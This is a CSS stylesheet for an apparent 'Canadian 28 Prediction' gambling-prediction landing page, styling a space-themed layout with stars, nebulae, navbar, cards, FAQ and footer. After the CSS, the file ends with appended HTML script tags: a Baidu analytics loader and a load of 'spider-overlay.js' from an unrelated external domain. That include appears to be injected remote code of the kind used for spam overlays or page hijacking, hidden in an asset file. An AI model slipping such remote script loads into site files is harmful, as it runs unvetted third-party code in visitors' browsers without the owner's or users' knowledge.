﻿/* ============================================================
   Canadian 28 Prediction - Deep Space Theme
   Primary: indigo-600 | BG: #0b0d1a | Accent: #1a1040
   ============================================================ */

/* --- CSS Variables --- */
:root {
  --space-bg: #0b0d1a;
  --space-bg-light: #0f1125;
  --space-accent: #1a1040;
  --space-accent2: #2d1b69;
  --primary: #4f46e5;
  --primary-light: #6366f1;
  --primary-dark: #3730a3;
  --violet: #7c3aed;
  --violet-light: #a78bfa;
  --cyan: #22d3ee;
  --teal: #14b8a6;
  --text-primary: #e2e8f0;
  --text-secondary: #94a3b8;
  --text-muted: #64748b;
  --card-bg: rgba(15, 17, 37, 0.7);
  --card-border: rgba(99, 102, 241, 0.2);
  --glow-color: rgba(79, 70, 229, 0.4);
  --glow-strong: rgba(79, 70, 229, 0.6);
}

/* --- Reset & Base --- */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

html {
  scroll-behavior: smooth;
}

body {
  font-family: 'Segoe UI', 'PingFang SC', 'Microsoft YaHei', sans-serif;
  background-color: var(--space-bg);
  color: var(--text-primary);
  overflow-x: hidden;
  line-height: 1.6;
}

/* --- Star Field Background --- */
.stars-container {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  z-index: 0;
  pointer-events: none;
  overflow: hidden;
}

.stars-small,
.stars-medium,
.stars-large {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
}

.stars-small::after {
  content: '';
  position: absolute;
  width: 2px;
  height: 2px;
  background: transparent;
  border-radius: 50%;
  box-shadow:
    50px 30px 0 #fff,
    120px 80px 0 rgba(255,255,255,0.8),
    200px 150px 0 rgba(255,255,255,0.6),
    350px 50px 0 #fff,
    480px 200px 0 rgba(255,255,255,0.7),
    600px 90px 0 rgba(255,255,255,0.9),
    750px 300px 0 #fff,
    900px 40px 0 rgba(255,255,255,0.5),
    1050px 180px 0 rgba(255,255,255,0.8),
    80px 400px 0 #fff,
    180px 550px 0 rgba(255,255,255,0.6),
    280px 650px 0 rgba(255,255,255,0.9),
    420px 500px 0 #fff,
    550px 620px 0 rgba(255,255,255,0.7),
    680px 700px 0 rgba(255,255,255,0.5),
    820px 550px 0 #fff,
    950px 680px 0 rgba(255,255,255,0.8),
    1100px 450px 0 rgba(255,255,255,0.6),
    60px 750px 0 #fff,
    160px 880px 0 rgba(255,255,255,0.7),
    310px 800px 0 rgba(255,255,255,0.5),
    500px 850px 0 #fff,
    640px 780px 0 rgba(255,255,255,0.8),
    780px 900px 0 rgba(255,255,255,0.6),
    930px 800px 0 #fff,
    1080px 880px 0 rgba(255,255,255,0.7),
    70px 100px 0 rgba(255,255,255,0.4),
    250px 250px 0 rgba(255,255,255,0.5),
    450px 350px 0 rgba(255,255,255,0.3),
    700px 400px 0 rgba(255,255,255,0.5),
    1000px 300px 0 rgba(255,255,255,0.4);
  animation: twinkle 4s ease-in-out infinite alternate;
}

.stars-medium::after {
  content: '';
  position: absolute;
  width: 3px;
  height: 3px;
  background: transparent;
  border-radius: 50%;
  box-shadow:
    80px 60px 0 rgba(167,139,250,0.8),
    220px 120px 0 rgba(99,102,241,0.7),
    400px 80px 0 rgba(167,139,250,0.6),
    580px 160px 0 rgba(34,211,238,0.7),
    720px 220px 0 rgba(167,139,250,0.8),
    880px 100px 0 rgba(99,102,241,0.6),
    1020px 200px 0 rgba(34,211,238,0.7),
    30px 320px 0 rgba(167,139,250,0.7),
    140px 480px 0 rgba(99,102,241,0.8),
    340px 580px 0 rgba(34,211,238,0.6),
    520px 450px 0 rgba(167,139,250,0.7),
    650px 560px 0 rgba(99,102,241,0.8),
    800px 480px 0 rgba(34,211,238,0.6),
    960px 620px 0 rgba(167,139,250,0.7),
    110px 700px 0 rgba(99,102,241,0.8),
    260px 820px 0 rgba(34,211,238,0.6),
    430px 750px 0 rgba(167,139,250,0.7),
    600px 850px 0 rgba(99,102,241,0.8),
    760px 780px 0 rgba(34,211,238,0.6),
    920px 850px 0 rgba(167,139,250,0.7),
    1050px 750px 0 rgba(99,102,241,0.8);
  animation: twinkle 6s ease-in-out 1s infinite alternate;
}

.stars-large::after {
  content: '';
  position: absolute;
  width: 4px;
  height: 4px;
  background: transparent;
  border-radius: 50%;
  box-shadow:
    150px 90px 0 rgba(255,255,255,0.9),
    380px 140px 0 rgba(255,255,255,0.8),
    620px 60px 0 rgba(255,255,255,0.9),
    850px 170px 0 rgba(255,255,255,0.8),
    1040px 80px 0 rgba(255,255,255,0.9),
    45px 380px 0 rgba(255,255,255,0.8),
    310px 420px 0 rgba(255,255,255,0.9),
    550px 370px 0 rgba(255,255,255,0.8),
    780px 400px 0 rgba(255,255,255,0.9),
    1000px 350px 0 rgba(255,255,255,0.8),
    130px 700px 0 rgba(255,255,255,0.9),
    480px 720px 0 rgba(255,255,255,0.8),
    700px 680px 0 rgba(255,255,255,0.9),
    900px 730px 0 rgba(255,255,255,0.8),
    1080px 700px 0 rgba(255,255,255,0.9);
  animation: twinkle 8s ease-in-out 2s infinite alternate;
}

@keyframes twinkle {
  0% { opacity: 0.4; }
  50% { opacity: 1; }
  100% { opacity: 0.4; }
}

/* --- Nebula Gradients --- */
.nebula {
  position: fixed;
  border-radius: 50%;
  filter: blur(120px);
  z-index: 0;
  pointer-events: none;
  opacity: 0.15;
}

.nebula-1 {
  top: -200px;
  right: -150px;
  width: 600px;
  height: 600px;
  background: radial-gradient(circle, rgba(124,58,237,0.6) 0%, rgba(79,70,229,0.3) 40%, transparent 70%);
  animation: nebula-drift 20s ease-in-out infinite;
}

.nebula-2 {
  bottom: -200px;
  left: -100px;
  width: 500px;
  height: 500px;
  background: radial-gradient(circle, rgba(34,211,238,0.5) 0%, rgba(20,184,166,0.3) 40%, transparent 70%);
  animation: nebula-drift 25s ease-in-out 5s infinite reverse;
}

.nebula-3 {
  top: 50%;
  left: 40%;
  width: 400px;
  height: 400px;
  background: radial-gradient(circle, rgba(79,70,229,0.4) 0%, rgba(124,58,237,0.2) 40%, transparent 70%);
  animation: nebula-drift 30s ease-in-out 10s infinite;
}

@keyframes nebula-drift {
  0%, 100% { transform: translate(0, 0) scale(1); }
  25% { transform: translate(30px, -20px) scale(1.05); }
  50% { transform: translate(-20px, 30px) scale(0.95); }
  75% { transform: translate(-30px, -30px) scale(1.03); }
}

/* --- Floating Planet / Orb --- */
.planet-orb {
  position: fixed;
  border-radius: 50%;
  z-index: 0;
  pointer-events: none;
}

.planet-orb-1 {
  top: 15%;
  right: 8%;
  width: 80px;
  height: 80px;
  background: radial-gradient(circle at 35% 35%, rgba(167,139,250,0.8), rgba(79,70,229,0.4), transparent);
  box-shadow: 0 0 40px rgba(124,58,237,0.3), 0 0 80px rgba(79,70,229,0.15);
  animation: float-orb 8s ease-in-out infinite;
}

.planet-orb-2 {
  bottom: 25%;
  left: 5%;
  width: 60px;
  height: 60px;
  background: radial-gradient(circle at 35% 35%, rgba(34,211,238,0.7), rgba(20,184,166,0.4), transparent);
  box-shadow: 0 0 30px rgba(34,211,238,0.3), 0 0 60px rgba(20,184,166,0.15);
  animation: float-orb 10s ease-in-out 2s infinite;
}

.planet-orb-3 {
  top: 60%;
  right: 12%;
  width: 50px;
  height: 50px;
  background: radial-gradient(circle at 35% 35%, rgba(167,139,250,0.7), rgba(124,58,237,0.3), transparent);
  box-shadow: 0 0 25px rgba(167,139,250,0.3), 0 0 50px rgba(124,58,237,0.1);
  animation: float-orb 12s ease-in-out 4s infinite;
}

@keyframes float-orb {
  0%, 100% { transform: translateY(0) translateX(0); }
  25% { transform: translateY(-20px) translateX(10px); }
  50% { transform: translateY(-5px) translateX(-10px); }
  75% { transform: translateY(-25px) translateX(-5px); }
}

/* --- Cosmic Glow Lines (Constellation) --- */
.constellation-line {
  position: fixed;
  height: 1px;
  background: linear-gradient(90deg, transparent, rgba(99,102,241,0.3), rgba(167,139,250,0.3), rgba(99,102,241,0.3), transparent);
  z-index: 0;
  pointer-events: none;
  transform-origin: left center;
}

.constellation-line-1 {
  top: 30%;
  left: 10%;
  width: 300px;
  transform: rotate(-15deg);
  animation: constellation-pulse 5s ease-in-out infinite;
}

.constellation-line-2 {
  top: 55%;
  right: 15%;
  width: 250px;
  transform: rotate(10deg);
  animation: constellation-pulse 6s ease-in-out 2s infinite;
}

.constellation-line-3 {
  top: 70%;
  left: 30%;
  width: 200px;
  transform: rotate(-8deg);
  animation: constellation-pulse 7s ease-in-out 4s infinite;
}

@keyframes constellation-pulse {
  0%, 100% { opacity: 0.2; }
  50% { opacity: 0.6; }
}

/* --- Main Content Wrapper --- */
.content-wrapper {
  position: relative;
  z-index: 1;
}

/* --- Navbar --- */
.navbar {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  z-index: 1000;
  transition: all 0.3s ease;
  padding: 1rem 0;
  background: transparent;
}

.navbar.scrolled {
  background: rgba(11, 13, 26, 0.9);
  backdrop-filter: blur(20px);
  -webkit-backdrop-filter: blur(20px);
  border-bottom: 1px solid rgba(99, 102, 241, 0.15);
  box-shadow: 0 4px 30px rgba(0, 0, 0, 0.5);
  padding: 0.6rem 0;
}

.navbar .container {
  display: flex;
  align-items: center;
  justify-content: space-between;
}

.nav-logo {
  font-size: 1.5rem;
  font-weight: 700;
  color: #fff;
  text-decoration: none;
  display: flex;
  align-items: center;
  gap: 0.5rem;
}

.nav-logo .logo-icon {
  width: 36px;
  height: 36px;
  background: linear-gradient(135deg, var(--primary), var(--violet));
  border-radius: 10px;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 1.1rem;
  color: #fff;
  box-shadow: 0 0 20px rgba(79,70,229,0.5);
}

.nav-links {
  display: flex;
  align-items: center;
  gap: 2rem;
  list-style: none;
}

.nav-links a {
  color: var(--text-secondary);
  text-decoration: none;
  font-weight: 500;
  font-size: 0.95rem;
  transition: color 0.3s ease;
  position: relative;
}

.nav-links a::after {
  content: '';
  position: absolute;
  bottom: -4px;
  left: 0;
  width: 0;
  height: 2px;
  background: linear-gradient(90deg, var(--primary-light), var(--violet-light));
  transition: width 0.3s ease;
}

.nav-links a:hover {
  color: #fff;
}

.nav-links a:hover::after {
  width: 100%;
}

.nav-cta {
  background: linear-gradient(135deg, var(--primary), var(--violet));
  color: #fff !important;
  padding: 0.5rem 1.5rem;
  border-radius: 50px;
  font-weight: 600 !important;
  border: none;
  cursor: pointer;
  transition: all 0.3s ease;
  box-shadow: 0 0 20px rgba(79,70,229,0.3);
}

.nav-cta:hover {
  box-shadow: 0 0 30px rgba(124,58,237,0.5);
  transform: translateY(-2px);
}

.nav-cta::after {
  display: none !important;
}

/* Hamburger */
.hamburger {
  display: none;
  flex-direction: column;
  gap: 5px;
  cursor: pointer;
  background: none;
  border: none;
  padding: 5px;
  z-index: 1001;
}

.hamburger span {
  display: block;
  width: 28px;
  height: 2px;
  background: #fff;
  border-radius: 2px;
  transition: all 0.3s ease;
}

.hamburger.active span:nth-child(1) {
  transform: rotate(45deg) translate(5px, 5px);
}

.hamburger.active span:nth-child(2) {
  opacity: 0;
}

.hamburger.active span:nth-child(3) {
  transform: rotate(-45deg) translate(5px, -5px);
}

/* Mobile Menu */
.mobile-menu {
  display: none;
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100vh;
  background: rgba(11, 13, 26, 0.98);
  backdrop-filter: blur(30px);
  z-index: 999;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 2rem;
  opacity: 0;
  pointer-events: none;
  transition: opacity 0.3s ease;
}

.mobile-menu.active {
  opacity: 1;
  pointer-events: all;
}

.mobile-menu a {
  color: var(--text-primary);
  font-size: 1.3rem;
  text-decoration: none;
  font-weight: 600;
  transition: color 0.3s ease;
}

.mobile-menu a:hover {
  color: var(--violet-light);
}

.mobile-menu .nav-cta {
  font-size: 1.1rem;
  padding: 0.8rem 2.5rem;
}

/* --- Hero Section --- */
.hero-section {
  min-height: 100vh;
  display: flex;
  align-items: center;
  position: relative;
  padding-top: 80px;
}

.hero-glow {
  position: absolute;
  top: 20%;
  left: 50%;
  transform: translateX(-50%);
  width: 600px;
  height: 600px;
  background: radial-gradient(circle, rgba(79,70,229,0.15) 0%, rgba(124,58,237,0.08) 40%, transparent 70%);
  border-radius: 50%;
  pointer-events: none;
  animation: hero-glow-pulse 6s ease-in-out infinite;
}

@keyframes hero-glow-pulse {
  0%, 100% { transform: translateX(-50%) scale(1); opacity: 0.6; }
  50% { transform: translateX(-50%) scale(1.2); opacity: 1; }
}

.hero-content h1 {
  font-size: clamp(2.5rem, 5vw, 4rem);
  font-weight: 800;
  line-height: 1.2;
  background: linear-gradient(135deg, #fff 0%, var(--violet-light) 50%, var(--cyan) 100%);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
}

.hero-content p {
  font-size: 1.15rem;
  color: var(--text-secondary);
  max-width: 560px;
  margin: 1.5rem 0 2rem;
}

.hero-buttons {
  display: flex;
  gap: 1rem;
  flex-wrap: wrap;
}

.btn-primary {
  display: inline-flex;
  align-items: center;
  gap: 0.5rem;
  padding: 0.75rem 2rem;
  background: linear-gradient(135deg, var(--primary), var(--violet));
  color: #fff;
  border: none;
  border-radius: 50px;
  font-weight: 600;
  font-size: 1rem;
  cursor: pointer;
  text-decoration: none;
  transition: all 0.3s ease;
  box-shadow: 0 0 25px rgba(79,70,229,0.4);
}

.btn-primary:hover {
  box-shadow: 0 0 40px rgba(124,58,237,0.6);
  transform: translateY(-3px);
}

.btn-ghost {
  display: inline-flex;
  align-items: center;
  gap: 0.5rem;
  padding: 0.75rem 2rem;
  background: transparent;
  color: #fff;
  border: 1px solid rgba(99,102,241,0.4);
  border-radius: 50px;
  font-weight: 600;
  font-size: 1rem;
  cursor: pointer;
  text-decoration: none;
  transition: all 0.3s ease;
  position: relative;
  overflow: hidden;
}

.btn-ghost::before {
  content: '';
  position: absolute;
  top: 0;
  left: -100%;
  width: 100%;
  height: 100%;
  background: linear-gradient(90deg, transparent, rgba(99,102,241,0.15), transparent);
  transition: left 0.5s ease;
}

.btn-ghost:hover {
  border-color: rgba(167,139,250,0.7);
  box-shadow: 0 0 25px rgba(99,102,241,0.3), inset 0 0 25px rgba(99,102,241,0.1);
}

.btn-ghost:hover::before {
  left: 100%;
}

/* --- Section Common --- */
.section {
  padding: 6rem 0;
  position: relative;
}

.section-header {
  text-align: center;
  margin-bottom: 4rem;
}

.section-label {
  display: inline-block;
  padding: 0.3rem 1.2rem;
  background: rgba(99,102,241,0.15);
  border: 1px solid rgba(99,102,241,0.3);
  border-radius: 50px;
  color: var(--violet-light);
  font-size: 0.85rem;
  font-weight: 600;
  letter-spacing: 0.05em;
  margin-bottom: 1rem;
}

.section-title {
  font-size: clamp(2rem, 4vw, 2.8rem);
  font-weight: 800;
  color: #fff;
  margin-bottom: 1rem;
}

.section-subtitle {
  color: var(--text-secondary);
  font-size: 1.1rem;
  max-width: 600px;
  margin: 0 auto;
}

/* --- Features Section --- */
.feature-card {
  position: relative;
  background: var(--card-bg);
  border: 1px solid var(--card-border);
  border-radius: 16px;
  padding: 2rem;
  transition: all 0.4s ease;
  overflow: hidden;
  backdrop-filter: blur(10px);
}

.feature-card::before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: radial-gradient(circle at top right, rgba(99,102,241,0.08), transparent 60%);
  opacity: 0;
  transition: opacity 0.4s ease;
}

.feature-card:hover {
  border-color: rgba(167,139,250,0.5);
  transform: translateY(-8px);
  box-shadow: 0 20px 60px rgba(0,0,0,0.4), 0 0 30px rgba(79,70,229,0.2);
}

.feature-card:hover::before {
  opacity: 1;
}

.feature-icon {
  width: 56px;
  height: 56px;
  border-radius: 14px;
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 1.5rem;
  margin-bottom: 1.2rem;
  background: linear-gradient(135deg, rgba(79,70,229,0.2), rgba(124,58,237,0.2));
  border: 1px solid rgba(99,102,241,0.3);
  color: var(--violet-light);
}

.feature-card h3 {
  font-size: 1.2rem;
  font-weight: 700;
  color: #fff;
  margin-bottom: 0.6rem;
}

.feature-card p {
  color: var(--text-secondary);
  font-size: 0.95rem;
  line-height: 1.7;
}

/* --- Stats Section --- */
.stats-section {
  position: relative;
}

.stats-section::before {
  content: '';
  position: absolute;
  top: 0;
  left: 50%;
  transform: translateX(-50%);
  width: 400px;
  height: 2px;
  background: linear-gradient(90deg, transparent, rgba(99,102,241,0.4), transparent);
}

.stat-card {
  text-align: center;
  padding: 2rem;
}

.stat-number {
  font-size: 3rem;
  font-weight: 800;
  background: linear-gradient(135deg, var(--violet-light), var(--cyan));
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
  line-height: 1;
}

.stat-label {
  color: var(--text-secondary);
  font-size: 1rem;
  margin-top: 0.5rem;
}

/* --- Testimonials Section --- */
.testimonial-card {
  background: var(--card-bg);
  border: 1px solid var(--card-border);
  border-radius: 16px;
  padding: 2rem;
  backdrop-filter: blur(10px);
  position: relative;
  transition: all 0.3s ease;
}

.testimonial-card:hover {
  border-color: rgba(167,139,250,0.5);
  box-shadow: 0 0 30px rgba(79,70,229,0.15);
}

.testimonial-quote {
  position: absolute;
  top: 1rem;
  right: 1.5rem;
  font-size: 3rem;
  color: rgba(99,102,241,0.2);
  font-family: serif;
  line-height: 1;
}

.testimonial-text {
  color: var(--text-primary);
  font-size: 0.95rem;
  line-height: 1.7;
  margin-bottom: 1.5rem;
  font-style: italic;
}

.testimonial-author {
  display: flex;
  align-items: center;
  gap: 0.8rem;
}

.testimonial-author img {
  width: 44px;
  height: 44px;
  border-radius: 50%;
  object-fit: cover;
  border: 2px solid rgba(99,102,241,0.4);
}

.testimonial-author .author-name {
  font-weight: 700;
  color: #fff;
  font-size: 0.95rem;
}

.testimonial-author .author-role {
  color: var(--text-muted);
  font-size: 0.8rem;
}

/* --- FAQ Section --- */
.faq-item {
  background: var(--card-bg);
  border: 1px solid var(--card-border);
  border-radius: 12px;
  margin-bottom: 1rem;
  overflow: hidden;
  backdrop-filter: blur(10px);
  transition: all 0.3s ease;
}

.faq-item:hover {
  border-color: rgba(99,102,241,0.4);
}

.faq-question {
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 1.2rem 1.5rem;
  background: none;
  border: none;
  color: #fff;
  font-size: 1.05rem;
  font-weight: 600;
  cursor: pointer;
  text-align: left;
  transition: all 0.3s ease;
}

.faq-question i {
  font-size: 0.9rem;
  color: var(--violet-light);
  transition: transform 0.3s ease;
}

.faq-item.active .faq-question i {
  transform: rotate(180deg);
}

.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease, padding 0.4s ease;
}

.faq-item.active .faq-answer {
  max-height: 300px;
}

.faq-answer-inner {
  padding: 0 1.5rem 1.2rem;
  color: var(--text-secondary);
  font-size: 0.95rem;
  line-height: 1.7;
}

/* --- CTA Section --- */
.cta-section {
  position: relative;
  text-align: center;
}

.cta-glow {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  width: 500px;
  height: 500px;
  background: radial-gradient(circle, rgba(79,70,229,0.12) 0%, rgba(124,58,237,0.06) 40%, transparent 70%);
  border-radius: 50%;
  pointer-events: none;
}

.cta-section h2 {
  font-size: clamp(2rem, 4vw, 2.8rem);
  font-weight: 800;
  color: #fff;
  margin-bottom: 1rem;
}

.cta-section p {
  color: var(--text-secondary);
  font-size: 1.1rem;
  max-width: 550px;
  margin: 0 auto 2rem;
}

/* --- Footer --- */
.footer {
  position: relative;
  border-top: 1px solid rgba(99,102,241,0.15);
  padding: 4rem 0 2rem;
  background: rgba(11, 13, 26, 0.6);
  backdrop-filter: blur(10px);
}

.footer-links {
  display: flex;
  gap: 3rem;
  flex-wrap: wrap;
}

.footer-col h4 {
  color: #fff;
  font-weight: 700;
  margin-bottom: 1rem;
}

.footer-col ul {
  list-style: none;
}

.footer-col ul li {
  margin-bottom: 0.5rem;
}

.footer-col ul li a {
  color: var(--text-muted);
  text-decoration: none;
  font-size: 0.9rem;
  transition: color 0.3s ease;
}

.footer-col ul li a:hover {
  color: var(--violet-light);
}

.footer-bottom {
  margin-top: 2rem;
  padding-top: 1.5rem;
  border-top: 1px solid rgba(99,102,241,0.1);
  text-align: center;
  color: var(--text-muted);
  font-size: 0.85rem;
}

/* --- Scroll Reveal --- */
.reveal {
  opacity: 0;
  transform: translateY(40px);
  transition: opacity 0.8s ease, transform 0.8s ease;
}

.reveal.visible {
  opacity: 1;
  transform: translateY(0);
}

.reveal-delay-1 { transition-delay: 0.1s; }
.reveal-delay-2 { transition-delay: 0.2s; }
.reveal-delay-3 { transition-delay: 0.3s; }
.reveal-delay-4 { transition-delay: 0.4s; }
.reveal-delay-5 { transition-delay: 0.5s; }
.reveal-delay-6 { transition-delay: 0.6s; }

/* --- Parallax Layer --- */
.parallax-slow {
  transform: translateY(0);
  transition: transform 0.1s linear;
}

/* --- Container Override --- */
.container {
  max-width: 1200px;
  margin: 0 auto;
  padding: 0 1.5rem;
}

/* --- Responsive --- */
@media (max-width: 768px) {
  .nav-links {
    display: none;
  }

  .hamburger {
    display: flex;
  }

  .mobile-menu {
    display: flex;
  }

  .hero-section {
    text-align: center;
    min-height: auto;
    padding-top: 120px;
    padding-bottom: 4rem;
  }

  .hero-content p {
    margin-left: auto;
    margin-right: auto;
  }

  .hero-buttons {
    justify-content: center;
  }

  .hero-image {
    margin-top: 2rem;
  }

  .section {
    padding: 4rem 0;
  }

  .footer-links {
    gap: 2rem;
  }
}

@media (max-width: 480px) {
  .hero-content h1 {
    font-size: 2rem;
  }

  .btn-primary,
  .btn-ghost {
    width: 100%;
    justify-content: center;
  }
}

/* --- Rotating ring decoration --- */
.rotating-ring {
  position: absolute;
  border: 1px solid rgba(99,102,241,0.15);
  border-radius: 50%;
  animation: spin-slow 30s linear infinite;
  pointer-events: none;
}

@keyframes spin-slow {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

/* --- Orbit trail dots --- */
.orbit-dot {
  position: absolute;
  width: 6px;
  height: 6px;
  background: var(--primary-light);
  border-radius: 50%;
  box-shadow: 0 0 10px var(--glow-strong);
  animation: orbit 8s linear infinite;
  pointer-events: none;
}

@keyframes orbit {
  0% { transform: rotate(0deg) translateX(150px) rotate(0deg); }
  100% { transform: rotate(360deg) translateX(150px) rotate(-360deg); }
}

/* --- Grid background overlay --- */
.grid-overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-image:
    linear-gradient(rgba(99,102,241,0.03) 1px, transparent 1px),
    linear-gradient(90deg, rgba(99,102,241,0.03) 1px, transparent 1px);
  background-size: 60px 60px;
  z-index: 0;
  pointer-events: none;
}

/* --- Image glow wrapper --- */
.image-glow {
  position: relative;
  border-radius: 16px;
  overflow: hidden;
  box-shadow: 0 0 40px rgba(79,70,229,0.2), 0 0 80px rgba(124,58,237,0.1);
}

.image-glow::after {
  content: '';
  position: absolute;
  inset: 0;
  border-radius: 16px;
  background: linear-gradient(135deg, rgba(79,70,229,0.1), transparent 50%);
  pointer-events: none;
}

.image-glow img {
  display: block;
  width: 100%;
  height: auto;
  border-radius: 16px;
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

